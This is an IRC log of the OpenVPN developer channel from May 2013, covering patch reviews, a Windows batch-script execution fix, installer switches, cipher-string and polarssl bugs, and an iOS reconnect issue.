Sat May 11 17:02:25 2013 --- Log opened Sun May 12 16:04:46 2013 16:04 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 16:04 -!- Irssi: #openvpn-devel: Total of 16 nicks [7 ops, 0 halfops, 3 voices, 6 normal] 16:04 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 16:04 -!- Irssi: Join to #openvpn-devel was synced in 1 secs --- Day changed Mon May 13 2013 01:50 -!- syzzer [~steffan@50709EB6.static.ziggozakelijk.nl] has joined #openvpn-devel 03:25 -!- krzie [~k@openvpn/community/support/krzee] has joined #openvpn-devel 03:25 -!- mode/#openvpn-devel [+v krzie] by ChanServ 03:30 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 03:30 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 03:31 -!- Netsplit *.net <-> *.split quits: +krzee, @dazo, @plai 03:31 -!- krzie is now known as krzee 03:31 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 03:31 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 03:31 -!- dazo_afk is now known as dazo 04:02 -!- d12fk [~heiko@exit0.net] has joined #openvpn-devel 04:02 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 04:02 <@d12fk> re 05:12 <@plaisthos> ARGH! User building my app with OpenVPN 2.1.4 and complaining that it does not work.... 05:12 <@plaisthos> http://code.google.com/p/ics-openvpn/issues/detail?id=169 05:12 <@vpnHelper> Title: Issue 169 - ics-openvpn - Unrecognized option or missing parameter(s) in /data/data/de.blinkt.openvpn/cache/android.conf:24: management-query-proxy(2.1.4) - Openvpn for Android 4.0+ - Google Project Hosting (at code.google.com) 05:17 <@plaisthos> It was probably a good a idea to check the signature of the build and include it in the first logline 07:55 -!- mattock_afk is now known as mattock 08:04 <@ecrist> :) 08:54 -!- 15SABG3HU [riddle@us.yunix.net] has joined #openvpn-devel 09:05 -!- riddle [~decadance@76.72.170.57] has quit [Write error: Connection reset by peer] 09:05 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Remote host closed the connection] 09:06 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 09:06 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 09:06 <@cron2> 2.1.4? ouch :) --- Log closed Mon May 13 09:24:29 2013 --- Log opened Mon May 13 09:28:05 2013 09:28 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 09:28 -!- Irssi: #openvpn-devel: Total of 17 nicks [8 ops, 0 halfops, 3 voices, 6 normal] 09:28 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 09:28 -!- Irssi: Join to #openvpn-devel was synced in 1 secs 09:31 -!- syzzer [~steffan@50709EB6.static.ziggozakelijk.nl] has joined #openvpn-devel 09:36 -!- cron2 [~gert@openvpn/community/developer/cron2] has quit [Read error: Connection reset by peer] 09:51 -!- raidz_away is now known as raidz 10:17 -!- cron2_ [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 10:17 -!- mode/#openvpn-devel [+o cron2_] by ChanServ --- Log closed Mon May 13 12:10:52 2013 --- Log opened Mon May 13 12:58:46 2013 12:58 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 12:58 -!- Irssi: #openvpn-devel: Total of 17 nicks [8 ops, 0 halfops, 3 voices, 6 normal] 12:58 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 12:59 -!- Irssi: Join to #openvpn-devel was synced in 24 secs 13:48 -!- waldner [waldner@openvpn/user/waldner] has joined #openvpn-devel 13:53 * dazo heads out now for a little holiday ... back next Wednesday 13:54 -!- dazo is now known as dazo_afk 14:09 <+pekster> d12fk: any idea where license.txt comes from, referenced in openvpn.nsi:73 ? 14:12 <+pekster> Maybe it's dropped in manually after build-generic's ./build script finishes, although I'm curious how the buildbots handle it since my git checkout doesn't do it itself 15:47 <@cron2_> d12fk: could you take a look at pekster's windows bugfix on the -devel list, and ACK/NAK it? To me it looks reasonable, but what do I know about windows 15:48 <@cron2_> pekster: as far as windows building goes, mattock has all the answers 15:54 <+pekster> Yea. My build Q isn't really critical (I just copied license.txt from an "official" build manually) but I'm curious if that's supposed to be part of the build-generic stuff 15:55 <+pekster> As for the fix, it seems reasonable to me, although the MSDN docs don't clearly explain *why* it lets you run a .bat file (or any "console" app really) and then returns 0 when it doesn't even run it 15:55 <+pekster> The bug is semi-severe if someone blindly assumes it's running and is trusting the return code to properly verify a client (say with --client-cert-not-required too) 15:55 <+pekster> Presumably pruduction stuff is tested better than blind assumptions ;) 15:56 <+pekster> (from a user standpoint -- I'm sure this use-case is somewhat uncommon in the real world. At least I hope.) 19:49 -!- raidz is now known as raidz_away 23:53 -!- waldner [waldner@openvpn/user/waldner] has quit [Ping timeout: 264 seconds] --- Day changed Tue May 14 2013 02:33 -!- ender^ [~ender1@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 246 seconds] 02:46 -!- ender^ [~ender1@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 02:52 <@cron2_> pekster: oh, so it's not even running the .bat - I assumed it had some issues with the return code only 02:52 <@cron2_> how stupid 08:35 -!- waldner [waldner@openvpn/user/waldner] has joined #openvpn-devel 09:21 <+pekster> cron2_: Yea. I even tried dumb tricks like --auth-user-pass-verify '"c:\windows\system32\cmd.exe" /c "c:\program files\openvpn\config\some.bat"' with the same bad results 09:22 <+pekster> I got lost in the silly MSDN docs that suggested lpApplicationName should contain the cmd.exe, but lpCommandLine should not when running batch files, but the real solution turned out to be even more obscure. I don't know how MS devs do it because the documentation is truely awful 09:34 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Disconnected by services] 09:36 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 09:36 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 09:42 -!- Netsplit *.net <-> *.split quits: MeanderingCode 09:45 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has joined #openvpn-devel 10:19 -!- raidz_away is now known as raidz 15:26 -!- mattock is now known as mattock_afk 15:32 -!- mattock_afk is now known as mattock 18:29 -!- kisom [~kisom@kisom.thr.kth.se] has joined #openvpn-devel 19:45 -!- raidz is now known as raidz_away --- Day changed Wed May 15 2013 00:00 -!- Netsplit *.net <-> *.split quits: @plaisthos, @vpnHelper, MeanderingCode, waldner, riddle 00:03 -!- Netsplit over, joins: MeanderingCode, @vpnHelper, waldner, riddle, @plaisthos 02:19 -!- syzzer [~steffan@50709EB6.static.ziggozakelijk.nl] has joined #openvpn-devel 06:01 -!- mattock is now known as mattock_afk 06:08 -!- mattock_afk is now known as mattock 09:54 -!- raidz_away is now known as raidz 11:15 <@vpnHelper> RSS Update - tickets: #291: Overriding a pushed "route" in the client's config throws an error <https://community.openvpn.net/openvpn/ticket/291> 13:39 <@vpnHelper> RSS Update - tickets: #292: OpenVPN client fails to reconnect after internet downtime <https://community.openvpn.net/openvpn/ticket/292> 13:55 <+krzee> lol at 291 being marked major 13:59 <+pekster> I need to dig a small amount, but 292 looks completely distro-centric 13:59 <+pekster> Just want to verify that before sending them to the launchpad blackhole 14:06 <+pekster> How "helpful" -- if you leave out --script-security from your config (even intentionally) ubuntu adds it back in for you at level 2 14:29 <+krzee> hah i bet they had people upgrade and not read the script-security warning and complaining to them 14:30 <+krzee> so instead of pointing at us, or telling them to see their logfile which clearly tells them, they just added it to the init script 14:30 <+krzee> lol 14:30 <+pekster> I'm not a fan of upstart init to begin with, but ubuntu's (most of it from debian anyway) is full of so much fail 14:36 -!- raidz is now known as raidz_away 14:38 <+krzee> i bet hes not using resolv-retry infinite 14:38 -!- raidz_away is now known as raidz 14:38 <+krzee> i asked on the thread 14:41 <+pekster> It won't matter since the dumb update-resolv-conf script won't undo the damage without --up-restart 14:42 <+pekster> Presumably it just keeps trying to reach a DNS server across the tunnel. Possibly made worse if it can't make changes depending on the user its running as. Either way, it's in the hands of the script to do that smartly 14:42 <+krzee> meh you are right, i shouldnt participate while this hungover 14:43 <+krzee> if i were him i would use dnsmasq 14:51 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 14:52 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 14:52 -!- mode/#openvpn-devel [+o mattock_afk] by ChanServ 14:52 -!- mattock_afk is now known as mattock 15:00 -!- mattock is now known as mattock_afk 15:29 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has quit [Quit: ZNC - http://znc.in] 15:29 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Quit: I shouldn't have left....] 16:52 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 245 seconds] 16:56 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 16:56 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 16:56 -!- dazo_afk is now known as dazo 17:39 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 17:39 -!- mode/#openvpn-devel [+o raidz] by ChanServ 20:57 -!- raidz is now known as raidz_away 22:13 -!- cron2_ [~gert@openvpn/community/developer/cron2] has quit [Read error: Connection reset by peer] 22:13 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 245 seconds] --- Day changed Thu May 16 2013 01:08 -!- gedO [~Thunderbi@88.119.154.240] has joined #openvpn-devel 01:08 < gedO> Hello 01:08 < gedO> Can someone of developers tell me 01:08 < gedO> windows silent install switcvhes 01:08 < gedO> ? 01:08 < gedO> I can't find them 01:09 <+pekster> gedO: openvpn-build (the source component used to do builds, including builds for Windows) use NSIS to package it up 01:09 <+pekster> NSIS docs give you /S for a silent install; see their docs if you need more obscure options 01:10 < gedO> pekster: Where I can find that NSIS? 01:10 <+pekster> First hit on google? 01:11 < gedO> pekster: earlyer I have found this nsis https://github.com/OpenVPN/openvpn-build/blob/master/windows-nsis/openvpn.nsi 01:11 <@vpnHelper> Title: openvpn-build/windows-nsis/openvpn.nsi at master · OpenVPN/openvpn-build · GitHub (at github.com) 01:12 < gedO> but I need ssl utilites to be installed 01:12 <+pekster> Right, but some options are built into the NSIS code itself and are simply implied for *any* end-product (like /S) 01:12 < gedO> in silent mode 01:13 < gedO> ant when I use command liek this: openvpn.exe /S /D="PATH" /SecOpenSSLUtilities 01:13 < gedO> SSL utilitys won't install 01:16 < gedO> Sorry, I am doing like this: openvpn.exe /S /D="PATH" /SELECT_OPENSSL_UTILITIES=1 01:16 <+pekster> The macro SelectByParameter uses the 2nd argument as the flag, so you need to match that I believe, which is SELECT_OPENSSL_UTILITIES 01:17 < gedO> pekster: You say I won't need =1 part? 01:24 <+pekster> That looks like it should do it, but I'm not familiar offhand with the macros that get included with some of the additional nsh headers used 01:31 <+pekster> gedO: I'm just switching here; it's too confusing to be asking similar questions in both channels 01:31 <+pekster> See http://nsis.sourceforge.net/Docs/Chapter3.html#3.2 -- you need to make /D the *last* option in the list, and don't quote things 01:32 <@vpnHelper> Title: Command Line Usage (at nsis.sourceforge.net) 01:33 <+pekster> A quick test with 2.3.1 appears to do the right thing with that command line once the path is put at the end (worked for me on Vista 64-bit) 01:40 < gedO> pekster: Can you post command lien you used? 02:24 -!- syzzer [~steffan@50709EB6.static.ziggozakelijk.nl] has quit [Quit: leaving] 02:26 -!- syzzer [~steffan@50709EB6.static.ziggozakelijk.nl] has joined #openvpn-devel 02:58 -!- gedO [~Thunderbi@88.119.154.240] has quit [Ping timeout: 256 seconds] 03:07 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 03:07 -!- mode/#openvpn-devel [+o cron2] by ChanServ 04:58 -!- gedO [~Thunderbi@2002:5877:9af0:1000:b4fd:be04:5b2c:206f] has joined #openvpn-devel 05:49 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Remote host closed the connection] 05:57 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 05:57 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 06:36 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 06:36 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 07:17 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving] 07:31 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 07:31 -!- mode/#openvpn-devel [+o mattock] by ChanServ 09:03 <+pekster> Ah, Heiko was quite correct, that should have been a DWORD type (I just saw an 8-digit hex and figured it matched the other 'unsigned int flags' references in the code earlier.) v2 of a patch that fixes that incoming 09:31 -!- gedO [~Thunderbi@2002:5877:9af0:1000:b4fd:be04:5b2c:206f] has quit [Ping timeout: 252 seconds] 09:36 -!- gedO [~Thunderbi@2002:5877:9af0:1000:b4fd:be04:5b2c:206f] has joined #openvpn-devel 09:39 <@vpnHelper> RSS Update - tickets: #293: Using --mlock and --user makes openvpn "run out of memory" <https://community.openvpn.net/openvpn/ticket/293> 10:16 -!- raidz_away is now known as raidz 10:32 <@cron2> d12fk: thanks for the ACK. Will integrate this weekend. 10:33 <@cron2> now if I could interest someone in reviewing the "Fix NULL-pointer crash" patch? 10:40 <+pekster> cron2: Oh, I looked at that earlier. Simple enough with just the one caller in forward.c (why can't they all be that simple!) 10:41 <+pekster> I just forgot about it when I switched branches for the windows patch (git is good about hiding my unsaved changes when I do that. Too good.) 10:50 <+pekster> So that all looks fine (allocate c1.route_list even if no route get added on init.) It's not related to the patch, but why is that caller in forward.c:1061 under the 'if (flags & (PIPV4_PASSTOS|PIP_MSSFIX))' test? 10:51 <+pekster> Maybe I'm missing something, but what's the purpose of only extracting the router if --passtos or --mssfix is enabled? 10:55 <@cron2> pekster: *that* is actually a different patch somewhere in the "bring in patches from svn" that is going to fix this bit - plaisthos and I have sent patches on that to the list, the original code is somewhat broken, the svn patch is also broken, and I haven't looked closely enough at plaisthos' proposed patch yet 10:56 <+pekster> Ah, okay. I'm fine ACKing your changes, just wondering why the caller seems to be very misplaced 10:56 <@cron2> yeah, I can see that :-) 10:56 <+pekster> Ironically, a workaround is to *not* use either of those options with <=2.3.1 :P 11:12 <@mattock> ah, nice to see patches that fix bugs :) 11:12 <@mattock> #240 11:15 <+pekster> That's probably been hiding for a while, but Windows users in <=2.2.x probably just worked around it with '--script-security 2 system' until that went away 11:15 <+pekster> Given the sad state of the MSDN docs on the subject, I'm not surprised no one dove into that earlier 11:16 <+pekster> I'm still not clear on *why* cmd.exe returns 0 when it doesn't even run the script. I'd hardly call that "success" but what do I know about MS policy 11:17 <+krzee> ms success = it didnt require a reboot 11:19 <+pekster> Well, obviously something failed since the same function call with the extra flag my patch adds does the Right Thing. It's just strange to fail then give no indiciation in the return code. I haven't tested, but maybe it's a failure in cmd.exe to report it and not the CreateProcessW() call. Either way I'm happy to blame Redmond 11:25 <+krzee> !windows 11:25 <@vpnHelper> "windows" is (#1) pcs are like air conditioners, they work fine unless you open windows or (#2) http://secure-computing.net/files/windows.jpg for funny or (#3) http://secure-computing.net/files/windows_2.jpg for more funny 11:25 <@d12fk> it's rather strange that createprocess itself doesn't fail in that case. i'd expected that getlasterror returns something useful, like an error indicating that we need to provide a console or such 11:26 <@d12fk> them jpgs ain't working ->404 11:26 <+krzee> ecrist, ^ 11:29 <+pekster> That's what had me stumped for a while. I still don't understand why it fails the way we used to run it, but I stopped caring when I read the docs on how console creation works. "Undocumented feature" :) 11:30 <+pekster> This is what happens when the OS is a GUI-based system with a console application I guess 11:30 <@d12fk> well the console is really just an emulation and like with every hack there are pitfalls all the way 11:32 <@d12fk> and i bet there's still some business critical ms-dos apps run on win7 11:53 <@plaisthos> d12fk: win7 32 bit then 11:53 <@plaisthos> iirc 64 bit dropped ms dos 12:10 <@cron2> ... in a 32bit XP VM in the dos box... 12:19 -!- gedO [~Thunderbi@2002:5877:9af0:1000:b4fd:be04:5b2c:206f] has quit [Remote host closed the connection] 12:39 -!- dahankzter [~quassel@37-247-8-75.customers.ownit.se] has joined #openvpn-devel 12:41 < dahankzter> After upgrading to the latest openvpn in Archlinux my connection fails really fast and google leads me to basically only this site: https://community.openvpn.net/openvpn/changeset/3b23b18dddb8f8f4a6ac6959b844b63356b59e87 12:41 <@vpnHelper> Title: Changeset 3b23b18 – OpenVPN Community (at community.openvpn.net) 12:41 < dahankzter> At least one other user is affected https://bbs.archlinux.org/viewtopic.php?pid=1273760#p1273760 12:41 <@vpnHelper> Title: OpenVPN worked before Arch udpate; now exits due to fatal error (Page 1) / Networking, Server, and Protection / Arch Linux Forums (at bbs.archlinux.org) 12:43 < dahankzter> It seems to be the translation to OpenSSL names that fail for some for me unknowable reason 12:43 < dahankzter> Is this the right place to bring this up? 12:44 <+pekster> #openvpn is probably more appropriate since at a glance it appears to be misuse of the --tls-cipher option. The manpage shows that it should be a colon-delimited list of ciphers, not the apache/openssl 'cipher list pull' syntax 12:44 <@ecrist> krzee: I know. I need to find them. 12:44 * ecrist goes searching 12:45 < dahankzter> k thx ill check there 12:45 <+krzee> we can remove them its no biggie, but they're cool so lets see if you find them or not =] 12:55 <@ecrist> found em 12:56 <@ecrist> they have been restored 12:57 <@ecrist> ironically, from a backup that is nearly one year old, to the day 12:57 <@ecrist> (it's from 2013-05-17) 12:57 <@ecrist> (it's from 2012-05-17) 12:57 <+krzee> haha i did that recently 12:57 <+krzee> (restored something that was backed up exactly a year prior) 12:58 <@ecrist> well, tweak was the replacement for kenny, and it is a smaller disk, so not everything was propagated to the new machine 12:58 <@ecrist> hence, the missing images 13:16 -!- dahankzter [~quassel@37-247-8-75.customers.ownit.se] has quit [Quit: http://quassel-irc.org - Chat comfortably. Anywhere.] 15:31 -!- mattock is now known as mattock_afk 15:50 -!- Netsplit *.net <-> *.split quits: kisom 19:33 -!- Netsplit *.net <-> *.split quits: @d12fk, jgeboski, +novaflash, syzzer 19:34 -!- Netsplit *.net <-> *.split quits: chantra, @andj 19:35 -!- ender^ [~ender1@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 246 seconds] 19:38 -!- Netsplit over, joins: @andj 19:41 -!- raidz is now known as raidz_away 19:49 -!- ender^ [~ender1@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 19:51 -!- d12fk [~heiko@exit0.net] has joined #openvpn-devel 19:51 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn-devel 19:51 -!- chantra [~chantra@unaffiliated/chantra] has joined #openvpn-devel 19:51 -!- ServerMode/#openvpn-devel [+o d12fk] by wolfe.freenode.net 19:53 <@vpnHelper> RSS Update - tickets: #294: OpenVPN 2.3.1 consuming tremendous CPU resources on OpenBSD <https://community.openvpn.net/openvpn/ticket/294> 21:36 -!- chantra [~chantra@unaffiliated/chantra] has quit [Read error: Operation timed out] 21:46 -!- chantra [~chantra@unaffiliated/chantra] has joined #openvpn-devel --- Day changed Fri May 17 2013 02:29 -!- syzzer [~steffan@50709EB6.static.ziggozakelijk.nl] has joined #openvpn-devel 02:45 <@plaisthos> pekster:that bug is fixed on -master 03:45 -!- ender^ [~ender1@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 246 seconds] 03:58 -!- ender^ [~ender1@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 05:46 -!- novaflash [~novaflash@openvpn/corp/support/novaflash] has joined #openvpn-devel 05:46 -!- mode/#openvpn-devel [+v novaflash] by ChanServ 05:58 <@plaisthos> pekster: [Openvpn-devel] [PATCH] Fixed tls-cipher translation bug in openssl-build 05:58 <@plaisthos> from 5.4 07:27 -!- mattock_afk is now known as mattock 08:19 <+pekster> plaisthos: Ah, good to know. I still think it's a silly implementation from the user-side. Did openvpn ever officially support the ciphers(1) "cipher strings" or was that just a side-effect of passing it directly to openssl in the past? 08:43 <@plaisthos> pekster: I have not looked in the details I only reported that to syzzer when some users had problems 2.3.1 08:49 <+pekster> Ah, gotcha. That apparently includes users from a particular provider's service (IPRedator) that, based on their config, does some other things making me raise eyebrows for a moment. Then again, bad providers are a dime a dozen 08:51 <+pekster> Stupid looking CA too: Subject: C=SE, ST=Bryggland, L=Oeldal, O=Royal Swedish Beer Squadron, OU=Internetz, CN=Royal Swedish Beer Squadron 09:05 <@plaisthos> :) 09:05 <@plaisthos> better than ORG Example, DO NOT USE THIS FOR PRODUCTION 09:49 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Read error: Operation timed out] 09:52 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn-devel 11:08 -!- raidz_away is now known as raidz 13:06 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Remote host closed the connection] 13:13 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 13:13 -!- mode/#openvpn-devel [+o raidz] by ChanServ 14:58 <@cron2> huh. fedora assigned CVE-2013-2061 to our non-constant time patch?! 16:24 -!- mattock is now known as mattock_afk 17:08 <+pekster> That's less weird that the complete lack of info on the vulnerability to begin with. The "gain access to sensitive information" bit is weird too -- at best you can inject *ciphertext* which, last I checked, is viewable anyway 19:00 <+pekster> re: bug #293, a documentation addition might inform users of the need to tweak OS ulimits, although an alternative (wishlist?) is to see what all needs to be specifically run through mlock() instead of mlockall() to reduce the limits. Clearly that would include both TLS and symmetric keying material, plus transport buffers where any plaintext data blocks end up 19:16 -!- raidz is now known as raidz_away --- Day changed Sat May 18 2013 05:23 <@cron2> so, #258 and #281 fixed :-) - pekster, thanks for your ACK. 05:24 <@vpnHelper> RSS Update - testtrac: Fix NULL-pointer crash in route_list_add_vpn_gateway(). <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=eb95f367348f4c2aae301cfa7c3adc8e0f2e711e> 06:16 -!- Kernel_Core [~Kernel_Co@s83-180-255-23.cust.tele2.se] has joined #openvpn-devel 06:29 -!- oh7lzb [k0b8@tunkki.fi] has joined #openvpn-devel 06:35 -!- Kernel_Core [~Kernel_Co@s83-180-255-23.cust.tele2.se] has quit [Quit: Leaving] 11:03 <+pekster> I found a fun segfault with polarssl when the client is using --auth-user-pass without a client certificate. The server still sends a cert request with the TLS handshake (simply doesn't require it when --client-cert-not-required) and this causes ssl->client_auth to be incremented, which then tells polarssl to attempt to send one in ssl_write_certificate() 11:03 <+pekster> Offhand I'm not sure what the best way around that is since the client_auth variable is set based on a message from the server 11:56 <+pekster> Digging a bit further, this appears to be a bug with polarssl after reading RFC5246 (7.4.6) 13:23 * cron2 directs that to andj/syzzer :-) 16:11 -!- raidz_away [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 252 seconds] 16:12 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 16:12 -!- mode/#openvpn-devel [+o raidz] by ChanServ 16:17 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 16:21 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 16:21 -!- mode/#openvpn-devel [+o mattock] by ChanServ 18:27 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Read error: Operation timed out] 18:28 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 18:28 -!- mode/#openvpn-devel [+o raidz] by ChanServ --- Day changed Sun May 19 2013 06:46 < syzzer> pekster: cron2: I've made a note for myself to look into it 07:30 <@vpnHelper> RSS Update - testtrac: Fix Windows script execution when called from script hooks <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=a19e35a95bf4a0177ae115535a3755d3acd894e9> 07:31 <@cron2> syzzer: thanks 07:43 < oh7lzb> Submitted my first patch for consideration to your excellent project today. 08:25 <@plaisthos> oh7lzb: the certs from pkcs12 as well as ca patch? 08:26 * plaisthos wonders if I should be changed to always load certificates from pkcs12 files 08:26 <@plaisthos> Instead of adding another "obscure" option 09:44 < oh7lzb> yup, that one. I wondered that as well, but the current functionality seemed to be added very intentionally, so I suspected it has a use case 09:45 < oh7lzb> there's a function parameter that explicitly disables loading CAs from pkcs#12 if --ca is set... unfortunately no comments to say why. 12:54 * cron2 blows up all buildbots 12:58 <@vpnHelper> RSS Update - testtrac: Fix usage of 'compression ...' from global config. <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=1690f290f4bd2b203634e8fef9a82f7a03e5b06b> || Added support for the Snappy compression algorithm <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=38d96bd7975e626d490b3d9f9514d81e070a5495> 13:34 <+pekster> Another option if it's desired to define when to load CA certs from pkc12 files would be a flag to the existing --pkcs12 directive 13:45 <@cron2> "I think we might want to discuss this in a meeting" 14:04 <@vpnHelper> RSS Update - tickets: #295: add builders for new compression variants <https://community.openvpn.net/openvpn/ticket/295> 15:28 < oh7lzb> pekster: A flag to a flag, are there some existing examples of such? 15:32 <+pekster> A discussion at a meeting is probably a good idea as it'll give more interested people a chance to talk about options in realtime. However, I mean an optional argument, like the 'def1' or 'local' options that can be used in --redirect-gateway --- Day changed Mon May 20 2013 02:51 < oh7lzb> Yup. Does some action need to be taken to put it on the agenda of the next meeting? 02:51 <@cron2> "tell mattock as soon as he shows up again" 03:25 <@mattock> howdy 03:25 <@mattock> meeting this week, or? 03:26 <@cron2> we could aim for it. I's possible that I'll have to be in Abu Dhabi then, but the evening is likely going to be free anyway :-) 03:27 <@cron2> (my customer is all confused about their planning) 04:36 <@cron2> mattock: have you seen my nice surprise mailbomb already? ;-) 05:13 <@cron2> GNU indent style is killing me... 05:38 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 245 seconds] 05:53 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 05:53 -!- mode/#openvpn-devel [+v krzee] by ChanServ 09:05 <@mattock> cron2: no, I'll prepare myself :P 09:05 <@mattock> I'll check the mailbomb tomorrow, no time today 09:12 <@cron2> haha :) 09:58 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood] 09:59 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 09:59 -!- mode/#openvpn-devel [+v krzee] by ChanServ 14:29 -!- mattock is now known as mattock_afk 15:44 <@cron2> ecrist: if you're around and reading this :-) - when updating the openvpn-devel port, there's a couple new options (--disable-snappy) and openvpn by default now needs snappy as build dependency... 20:05 -!- raidz is now known as raidz_away 22:58 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Quit: Leaving] 23:00 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn-devel 23:09 -!- raidz_away [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 260 seconds] 23:11 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 23:11 -!- mode/#openvpn-devel [+o raidz] by ChanServ --- Day changed Tue May 21 2013 02:12 <@cron2> mornin' 02:36 < syzzer> morning :) 02:43 * cron2 looks forward to see mattock spitting and cursing when he looks into his mailbox... "all his buildbots have failed" :-) 02:44 <@cron2> (due to the snappy patch now needing new devel packages, which are not there yet) 02:52 < syzzer> hehe, that'll be a joyful morning surprise for him 06:30 -!- mattock_afk is now known as mattock 06:31 <@mattock> ah, missing libsnappy, how nice 06:31 <@mattock> :P 06:32 <@cron2> hi mattock, and good afternoon :-) 06:36 <@mattock> good afternoon, sir :) 06:36 <+krzee> sounds snappy! 06:38 <@mattock> I'll install snappy in a snap 06:41 -!- kisom [~kisom@kisom.thr.kth.se] has joined #openvpn-devel 06:44 < kisom> Is anyone developing the iOS version on IRC? 06:44 < kisom> Tried sending a mail, never got a response. 06:45 <@cron2> well, that's pretty much "James", and he's busy. openvpn-users is usually the best avenue - he reads that, and if it's a bug, it is usually acted on 06:45 <@mattock> also, you can try the forums 06:45 < kisom> I was thinking about the forums.. 06:45 * cron2 is testing that stuff, and found James to be quite responsive on bug reports and suggestions 06:45 <@mattock> james has been very active there in the OpenVPN Connect board 06:46 <@cron2> mattock: oh? good to know 06:46 < kisom> Alright, I'll do a "bug report" over on the forums then 06:46 < kisom> Thanks :) 06:46 <@mattock> sounds good 06:46 <@cron2> kisom: so what's the issue? 06:46 < kisom> TCP's broken 06:46 < kisom> As usual ;) 06:46 <@cron2> TCP-over-OpenVPN or OpenVPN-over-TCP? 06:46 < kisom> OpenVPN over TCP on iOS 06:46 <@cron2> let me check 06:46 <@cron2> this is actually one of my test cases 06:46 < kisom> But only if the server sends a packet during the first second 06:47 < kisom> So keep pinging your iOS device over the VPN and reconnect 06:47 <@cron2> ah, let me see 06:47 < kisom> The VPN will appear to be connected, but no traffic will be sent over it 06:48 <@cron2> indeed 06:48 <@cron2> that is... weird 06:48 < kisom> I tought so too. 06:48 <@cron2> "bytes in" are counting up 06:48 < kisom> Yeah 06:48 < kisom> And traffic from the iOS device to the server passes as it should 06:48 <@cron2> kisom: poor timing, though, as James *just* released 1.0.1 yesterday 06:48 < kisom> But from the server -> iOS device it is dropped 06:48 < kisom> Probably at the iOS side since the counter ticks 06:49 <@cron2> definitely on the iOS side 06:49 < kisom> cron2: I sent an email about this a month ago 06:49 < kisom> So it's not really bad timing, I tought it would be fixed in the release today :) 06:50 <@cron2> bah. this should not happen. (Well, if this happens again, cc: openvpn-devel in obvious bug reports, so it catches my attention - while I'm not working on it, I'm advocating iOS OpenVPN to my customers and want it to be bug-free :-) ) 06:51 <@cron2> anyway, I can reproduce it - run "ping -i 0.5 $vpnip" on the server->client, disconnect/reconnect, very visible 06:52 < kisom> Also, when the device sleeps, it disconnects after a minute or so, just to 